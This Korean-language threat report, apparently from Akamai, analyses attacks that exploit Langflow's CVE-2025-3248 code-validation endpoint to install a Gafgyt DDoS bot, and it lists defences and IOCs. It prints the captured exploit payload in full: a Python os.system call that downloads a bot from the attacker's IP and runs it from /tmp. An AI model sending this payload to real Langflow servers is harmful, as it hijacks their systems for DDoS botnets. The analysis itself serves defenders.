핵심 내용
공격자들은 AI 및 대규모 언어 모델(LLM) 애플리케이션 프로토타이핑에 사용되는 인기 있는 시각적 프레임워크인 Langflow의 코드 검증 API 엔드포인트 내에 존재하는 원격 코드 실행(RCE) 취약점을 악용하고 있습니다.
프레임워크가 유출되면, 공격자는 오랫동안 사용된 고도의 맞춤형 Gafgyt 분산 서비스 거부(DDoS) 봇의 변종을 유포합니다. 이 특정 페이로드는 암호화폐 채굴과 같은 부가 기능을 제거하고 네트워크 플러딩에만 집중하도록 설계되었으며, 표준 자동 디코딩 툴을 우회하기 위해 복잡한 변형 RC4 스트림 암호를 사용해 명령 및 제어(C2) 통신을 은닉합니다.
엔터프라이즈 AI 개발은 빠르게 진행되기 때문에 많은 팀은 Langflow와 같은 실험용 툴을 프로덕션 또는 Staging 환경에 배포할 때, 적절한 네트워크 세그멘테이션, 방화벽 보호 또는 엄격한 아웃바운드 트래픽 필터링 없이 이를 수행합니다. 이는 아주 믿을 만해 보이지만 악의적인 아웃바운드 C2 트래픽이 기업 보안 필터를 쉽게 우회할 수 있는 환경을 조성합니다.
AI 인프라를 보호하려면 기본 보안 프로토콜로 돌아가야 합니다. 여기에는 AI 오케스트레이터의 임의 코드 실행 취약점을 패치하고, 포트 1337을 통한 비인가 트래픽 차단과 같은 엄격한 아웃바운드 트래픽 필터링을 구현하며, 웹 애플리케이션 방화벽(WAF)을 통해 개발 환경을 격리하고, 맞춤형 YARA 시그니처를 배포하는 작업이 포함됩니다.
사이버 보안 업계는 지난 몇 년간 자동화된 피싱, 딥페이크, 자율형 멀웨어 등 고도화된 AI 위협에 대해 우려해 왔습니다. 하지만 사이버 공격자는 그들의 일차적 목적이 훨씬 더 실용적임을 증명하고 있습니다. 이들은 단순히 AI를 조작하려는 것이 아니라, 기존의 대규모 사이버 범죄를 더욱 활성화하기 위해 AI의 기반 인프라를 탈취하려고 합니다.
최근 위협 인텔리전스에 따르면 최신 AI 기술과 고전적인 봇넷 아키텍처가 흥미롭게 결합된 사례가 발견되었습니다. 공격자들은 CVE-2025-3248(Langflow의 원격 코드 실행 취약점)을 악용해 오랫동안 사용된 Gafgyt/BASHLITE DDoS 봇의 맞춤형 변종을 유포하고 있습니다.
이 블로그 게시물에서는 공격자들이 CVE-2025-3248을 악용해 최첨단 AI 프레임워크를 무차별 대입 네트워크 공격 무기로 전환하는 방법을 설명합니다.
초기 거점: CVE-2025-3248
Langflow는 개발자가 AI 및 LLM 애플리케이션을 프로토타이핑하고 구축할 때 널리 사용하는 시각적 프레임워크입니다. 이러한 애플리케이션은 본질적으로 사용자 정의 로직을 테스트하고 실행할 수 있는 기능을 필요로 하므로, 특정 엔드포인트에서 코드 실행을 처리합니다.
공격자는 이 기능을 플랫폼에 불리하게 악용했습니다. 실제 환경에서 Akamai는 코드 검증 API를 표적으로 하는 다음과 같은 악성 페이로드를 발견했습니다.
{
"code": "import os; os.system(\"wget -q -O /tmp/bot_x86_64 http://184.174.96.191:8088/bot.x86_64 && chmod +x /tmp/bot_x86_64 && /tmp/bot_x86_64\")"
}
악용 사례 분석
취약점: /api/v1/validate/code 엔드포인트는 신뢰할 수 없는 Python 스크립트를 입력받아 적절한 샌드박싱 없이 호스트 시스템에서 실행합니다.
전달: 주입된 코드는 wget을 호출하기 위해 표준 Python 라이브러리 함수인 os.system을 사용합니다.
가져오기: 이 프로그램은 원격 Staging 서버(184.174.96.191:8088)에서 x86_64 Linux 실행 파일을 몰래 다운로드한 후, 실행 권한을 부여하고(chmod +x), 임시 디렉토리인 /tmp에서 이를 바로 실행합니다.
분석: Gafgyt/BASHLITE 변종
실행 및 회피 행동
이 바이너리는 실행 시 자신의 존재를 숨기고 내부 엔진을 준비하기 위한 일련의 작업을 수행합니다.
지문: 이 프로그램은 stdout에 come at me krebs rimasuta go BRRT라는 조롱성 ASCII 배너를 출력합니다(저명한 보안 저널리스트 브라이언 크랩스(Brian Krebs)와 공격자 핸들인 rimasuta를 언급한 것).
데몬화: 자식 프로세스를 포크하기 위해 즉시 clone()을 호출하고 이때 부모 프로세스는 종료됩니다. 그런 다음 표준 인풋, 아웃풋 및 오류 디스크립터(stdio)를 닫고 터미널과의 연결을 완전히 끊어 백그라운드에서 조용히 실행됩니다.
순수한 공격성: 이 바이너리에는 암호화폐 채굴기가 없으며, 지속성 메커니즘도 없고, 측면 이동 스캐너도 없습니다. 전체 실행 경로는 네트워크 플러딩이라는 단일 작업에 최적화되어 있습니다.
사용자 정의 암호 및 C2 프로토콜
이 변종은 C2 통신 보안을 위해 다단계로 변조된 RC4 스트림 암호화 기술을 사용합니다. 이 암호화 방식은 표준 자동 디코딩 툴을 무력화하기 위해 표준 RC4와 세 가지 측면에서 차별화됩니다.
비표준 S-박스 시드: 암호화 방식은 S-박스를 선형적으로 초기화하는 대신, 다음과 같이 사용자 정의된 수열을 활용해 이를 채웁니다. $S[i] = (0x0D + i \times 0xA7) \pmod{256}$.
2단계 키 스케줄링 알고리즘(KSA): 이 방법은 S-박스를 변형하기 위해 0xDEADBEEF, 0xCAFEBABE와 같은 하드코딩된 32비트 키를 사용하며, 그 후 Borland의 고전적인 선형 합동 생성기(LCG)를 5회 반복해 재섞기 작업을 수행합니다.
변조된 의사 난수 생성 알고리즘(PRGA): 키스트림 바이트는 시프트 롤링 카운터와 비트 연산(ROL 및 SHR)을 통해 추가로 암호화됩니다.
공격 능력
이 봇은 4가지 고전적인 서비스 거부 공격 기법에 맞춰 sendto 시스템 호출에 직접 매핑된 4가지 실행 경로를 갖추고 있습니다.
상태 | 공격 기법 | 기술적 메커니즘 |
|---|---|---|
0x01 | UDP 플러드 | 대량의 UDP 데이터그램을 전송하는 원시 sendto 루프 |
0x02 | TCP 플러드 | 연결 및 SYN/ACK 패킷 스팸 공격 |
0x03 | HOLD 플러드 | 웹 서버를 대상으로 한 연결 유지 기능 고갈 공격 |
0x04 | 정크/STD 플러드 | 무작위 페이로드 UDP 플러드로 표적 상태 테이블 고갈 |
AI 인프라에 대한 전략적 리스크
AI 애플리케이션을 기업 IT 인프라와 분리된 특수한 환경으로 여기는 것은 자연스러운 생각이지만, 공격자들은 이를 매우 매력적인 공격 대상으로 간주합니다. 봇넷을 위해 AI 서버를 탈취하는 것은 다음과 같은 여러 가지 뚜렷한 이점을 제공합니다.
대규모 컴퓨팅 및 대역폭 AI 워크로드는 거의 대부분 고성능 클라우드 인스턴스나 강력한 엔터프라이즈 서버에서 실행됩니다. 이러한 머신은 대규모 네트워크 대역폭을 갖추고 있어 파괴적인 DDoS 공격을 실행할 수 있습니다.
“섀도 IT” 취약점: AI 개발 속도가 매우 빠르기 때문에, 많은 팀이 프로덕션 또는 Staging 환경에서 Langflow와 같은 실험용 플랫폼을 구축할 때, 적절한 네트워크 세그멘테이션, 취약점 관리 또는 방화벽 보호 없이 이를 실행하는 경우가 많습니다.
신뢰할 수 있는 환경: 엔터프라이즈 클라우드 인프라는 일반적으로 외부 네트워크에 대한 더 넓은 접속 권한을 가지고 있어, 아웃바운드 C2 트래픽이 일반적인 기업 방화벽 필터를 우회할 수 있도록 합니다.
방어 및 무력화
팀이 Langflow 또는 유사한 시각적 AI 오케스트레이터를 사용 중이라면, 즉시 방어 태세를 조정하는 것이 강력히 권장됩니다.
패치 및 업그레이드: Langflow 배포 시, 코드 검증 API의 임의 코드 실행 취약점을 해결한 최신 버전으로 업데이트하세요.
엄격한 이그레스 필터링 구현: AI 교육 및 프로토타이핑 환경에서는 일반적으로 임의의 공용 IP 주소에 대한 무제한 아웃바운드 TCP 접속이 필요하지 않습니다. 1337과 같은 비정상적인 포트를 통한 외부 연결을 차단하세요.
네트워크 격리: AI 개발 환경을 신뢰할 수 없는 네트워크로 간주하세요. 이들을 주요 기업 환경과 엄격히 분리하고, WAF를 통한 퍼블릭 인터넷 접속을 제한하세요.
YARA 시그니처 배포: 다음 행위자에게 고유한 특정 암호화 S-박스 시드 바이트를 시스템 바이너리와 임시 디렉토리에서 모니터링하세요. 0d b4 5b 02 a9 50 f7 9e.
결론
CVE-2025-3248의 악용 사례는 보안 환경이 단순히 진화하는 것이 아니라 근본적으로 변화하고 있다는 점을 강력히 상기시켜 줍니다. Langflow와 같은 강력한 AI 프레임워크를 기업 시스템에 빠르게 통합할 때는 이러한 플랫폼을 독립적이거나 특수한 환경으로 간주하려는 생각을 경계해야 합니다. 공격자들은 이러한 환경에서 컴퓨팅 및 대역폭의 잠재력을 잘 알고 있으며, 수십 년간 봇넷을 가동해 온 검증된 방법을 활용해 이를 악용하고 있습니다.
AI 인프라를 보호하려면 기본적인 보안 수칙을 다시 준수해야 합니다. 여기에는 강력한 네트워크 세그멘테이션, 엄격한 이그레스 필터링, 그리고 철저한 패치 관리가 포함됩니다. 경쟁적으로 차세대 AI 애플리케이션을 개발하는 상황에서는 과거 사이버 범죄의 망령이 활개치게 둘 여유가 없습니다.
기술 부록: IOC 및 방어
파일 및 시스템 해시
SHA256: e00d92ca28a2cfd75e96f71fc0408747f04942657fcab0f2a25ce79bc3ad23a8
ELF 빌드 ID(SHA1): 523ae28b0833f9a68f4264d16c803ca5fdc771b9
네트워크 지표
C2 서버 IP: 184.174.96.191
멀웨어 Staging 포트: 8088/TCP(HTTP 다운로드)
C2 명령어 포트: 1337/TCP(암호화된 트래픽)
호스트 시그니처
포트 1337을 통한 외부 IP로의 아웃바운드 연결
/tmp에서 실행 중이며 표준 파일 디스크립터를 즉시 닫는, 식별되지 않은 프로세스
come at me krebs rimasuta go BRRT라는 문자열이 표준 아웃풋 로그나 메모리 문자열에 나타남
태그